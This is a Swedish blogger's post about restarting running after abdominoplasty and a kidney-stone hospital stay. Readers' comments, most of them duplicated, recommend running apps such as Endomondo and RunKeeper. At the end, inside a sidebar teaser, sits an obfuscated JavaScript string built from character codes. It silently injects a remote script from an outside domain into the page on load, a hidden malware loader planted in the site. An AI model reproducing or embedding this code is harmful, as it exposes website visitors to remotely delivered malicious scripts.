ÄNTLIGEN! ikväll blir det premiär-tur!

image

Finaly it happend!

Idag är ingen vanlig dag….. Idag har jag fått ok att äntligen börja löpträna! Jag har inte tränat sedan min bukplastik. jag var igång på träningsresan i Marbella, och smygstartade på ett underbart sätt. Men när jag kom hem till Stockholm fick jag njurstens attacken och hamnade på sjukhus. Men nu j*klar är jag på G 😉 Ikväll ska jag köra premiär turen och helt enkelt börja om på ruta NOLL igen! Konditionen är katastrofal, jag är svag i kroppen efter operationen och att ha varit passiv i snart ett halvår. (Jag tappade nämligen träningen helt innan operationen) Men nu finns det bara en väg tillbaka….. jag kommer att ta hjälp utav min PT Lisa… Och har lovat dyrt och heligt att känna efter ordentligt nu när jag sätter igång 😉

En fråga till dig, -Finns det någon bra APP man kan använda vid löpningen som man man se tid, distans osv….. Ha en underbar dag! Själv befinner jag mig på My’s Blommor där det är fullt ös just nu.-Älskar’t! Jag har gjort en del plåtningar för Wallderinska…. jag kan avslöja att det är nya snygga plagg på G in till nästa kollektion. Du hittar deras sida HÄR

 

image

Vi hörs sen! Kramar My Martens

26 Komentarer

  1. Hej
    Jag använder mig av Endomondo och är super nöjd med den. vet dock att en hel del vänner använder sig av RunKeeper. Är nog bara en smaksak vilken man gillar. ? Lycka till med träningen!
    Kram C

  2. Men så kul att du äntligen kan börja löpträna! ?
    Jag har laddat ner en bra App som heter ”Sport Trackers” (den är gratis!) Den mäter distans, tid mm . Du kan se både per vecka och månad hur långt du sprungit,och allt sparas i en överskådlig kalender. Den är väldigt enkel att använda. Den får mig motiverad, att gå fortare, längre sträcka än sist osv. Jag kan ”tävla mot mig själv” , och det känns peppande.
    Stort lycka till med träningen. Allt går bara man är envis ?
    Kram

  3. Hej! Vad kul att du äntligen ska få börja springa igen, jag tittat in här lite till och från, men hittade tillbaka när du gjort din operation, jag låg hemma sjuk och letade nya bloggar och kom in på din igen. Jag tycker det är så härligt att du är så ärlig och visar att livet är inte alltid perfekt. Jag är själv från Kalmar och vet att jag följde dig lite när du tränade med Pt Jesper och tyckte du va så duktig. Heja dig och kämpa på, det är svårt att hitta en balans mellan allt och jag tycker du visar det på ett bra sätt. Ha en fin dag och lycka till på premiärlöpet! Kramis.

  4. Hej
    Jag använder mig av Endomondo och är super nöjd med den. vet dock att en hel del vänner använder sig av RunKeeper. Är nog bara en smaksak vilken man gillar. 🙂 Lycka till med träningen!
    Kram C

  5. Men så kul att du äntligen kan börja löpträna! 🙂
    Jag har laddat ner en bra App som heter ”Sport Trackers” (den är gratis!) Den mäter distans, tid mm . Du kan se både per vecka och månad hur långt du sprungit,och allt sparas i en överskådlig kalender. Den är väldigt enkel att använda. Den får mig motiverad, att gå fortare, längre sträcka än sist osv. Jag kan ”tävla mot mig själv” , och det känns peppande.
    Stort lycka till med träningen. Allt går bara man är envis 😉

    Kram

  6. Hej! Vad kul att du äntligen ska få börja springa igen, jag tittat in här lite till och från, men hittade tillbaka när du gjort din operation, jag låg hemma sjuk och letade nya bloggar och kom in på din igen. Jag tycker det är så härligt att du är så ärlig och visar att livet är inte alltid perfekt. Jag är själv från Kalmar och vet att jag följde dig lite när du tränade med Pt Jesper och tyckte du va så duktig. Heja dig och kämpa på, det är svårt att hitta en balans mellan allt och jag tycker du visar det på ett bra sätt. Ha en fin dag och lycka till på premiärlöpet! Kramis.

  7. Jag tycker att Runkepeer är himla bra! Visar distans, hastighet och en karta vart du sprungit/gått/cyklat.
    Lycka till med träningen ?

  8. Hej my
    Jag som många andra har runkepeer det som är bra m den e att man väljer om man ska cykla springa promenera eller annat. Lycka till nu. Carro

  9. Jag tycker att Runkepeer är himla bra! Visar distans, hastighet och en karta vart du sprungit/gått/cyklat.
    Lycka till med träningen 🙂

  10. Hej my
    Jag som många andra har runkepeer det som är bra m den e att man väljer om man ska cykla springa promenera eller annat. Lycka till nu. Carro

  11. Runkeeper eller Endomondo som andra har tipsat om är de som oftast får bäst i test och är enkla att använda. Vill du ha ytterligare en bonus/motivator så ladda ner Runkeeper samt ICAs Må bra app. Koppla samman och lägg in ditt ICA-kort så springer du ihop rabatt på deras hälsosortiment! Tex denna veckan var det rabatt på 5 valfria frukter m.m. Lycka till!

  12. Runkeeper eller Endomondo som andra har tipsat om är de som oftast får bäst i test och är enkla att använda. Vill du ha ytterligare en bonus/motivator så ladda ner Runkeeper samt ICAs Må bra app. Koppla samman och lägg in ditt ICA-kort så springer du ihop rabatt på deras hälsosortiment! Tex denna veckan var det rabatt på 5 valfria frukter m.m. Lycka till!

  13. Införskaffade ett fitbit charge aktivitetsarmband när jag ville komma igång och tycker det funkar för mig. Lycka till!

  14. Införskaffade ett fitbit charge aktivitetsarmband när jag ville komma igång och tycker det funkar för mig. Lycka till!

Svara

Lämna din kommentar!
Ditt namn här

Om du missat..

Andas ut stressen med hjälp av djupandning

Andas ut stressen med hjälp av djupandning -Hur många tänker egentligen på sin andning? Jag...

SMEG bagaren och kocken 20%

I reklamsamarbete Bagaren och Kocken ??‍? Hej på er! Detta är en grymt efterlängtad kampanj...

Adviral Event

My Martens , Ako Rahim. Adviral Media. d Ako, Renata, My   var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/